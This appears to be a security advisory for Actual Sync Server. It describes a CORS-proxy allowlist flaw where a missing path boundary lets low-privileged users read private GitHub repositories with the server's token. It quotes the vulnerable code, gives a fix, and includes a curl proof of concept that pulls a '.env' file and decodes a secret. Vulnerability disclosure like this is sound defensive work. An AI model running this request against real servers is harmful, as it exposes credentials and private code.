Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
GET /cors-proxy?url=...This endpoint is mounted only when:
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
Source: packages/sync-server/src/app.ts:68-70
The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
Source: packages/sync-server/src/load-config.js:280-296
The proxy fetches the plugin allowlist and stores repository URLs:
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
Source: packages/sync-server/src/app-cors-proxy.js:43-50
The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
Source: packages/sync-server/src/app-cors-proxy.js:84-99
For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
Source: packages/sync-server/src/app-cors-proxy.js:192-201
Therefore the vulnerable flow is:
https://github.com/acme/plugin.acme/plugin-private.ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKEN with access to acme/plugin-private./cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKEN is configured and can read a private repo.Example:
https://github.com/acme/pluginhttps://github.com/acme/plugin-private.envStep 1: Request a private repo file through the Actual CORS proxy:
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
Vulnerable result:
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
Step 2: Decode the returned content field:
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
Example decoded output:
PROD_DB_PASSWORD=...
Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
with an exact boundary-aware check:
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
owner/plugin does not authorize owner/plugin-private.ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.{
"cwe_ids": [
"CWE-200",
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T14:00:45Z",
"nvd_published_at": "2026-09-25T23:16:53Z",
"severity": "HIGH"
}